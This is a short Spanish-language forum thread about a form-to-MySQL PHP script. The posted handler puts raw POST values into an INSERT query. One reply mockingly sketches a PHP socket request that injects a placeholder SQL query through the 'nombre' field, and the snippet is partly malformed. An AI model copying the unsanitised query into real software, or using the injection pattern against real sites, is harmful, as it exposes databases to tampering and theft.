maxi_lance escribió:
<FORM METHOD="POST" ACTION="insertar.php">
Nombre<br>
<INPUT TYPE="TEXT" NAME="nombre"><br>
Teléfono<br>
<INPUT TYPE="TEXT" NAME="telefono"><br>
<INPUT TYPE="SUBMIT" value="Insertar">
</FORM>
El Código HTML se debe escribir en Minusculas, prueba DW y trata de usar menos M$ FrontPage
ScriptKiddie Aburrido escribió:
Código :
$sql="query maligno";
$headers="GET /archivo.php HTTP/1.1
Host=www.dominio.com
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8) Gecko/20051111 Firefox/1.5
Keep-Alive=300
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=381
POSTDATA=nombre=','');".$sql."---";
$fp=fsockopen("www.dominio.com",80);
fwrite($fp,$headers);
fclose($fp);
ramiro_olvera escribió:
Código :
$el_nombre = $_POST['nombre'];
$el_telefono = $_POST['telefono '];
mysql_db_query("ejemplo","insert into clientes (nombre,telefono) values ('$el_nombre','$el_telefono')");
?>
Interesante muy interesante, si tienes buena info en tus tablas me dices para darles una revisadita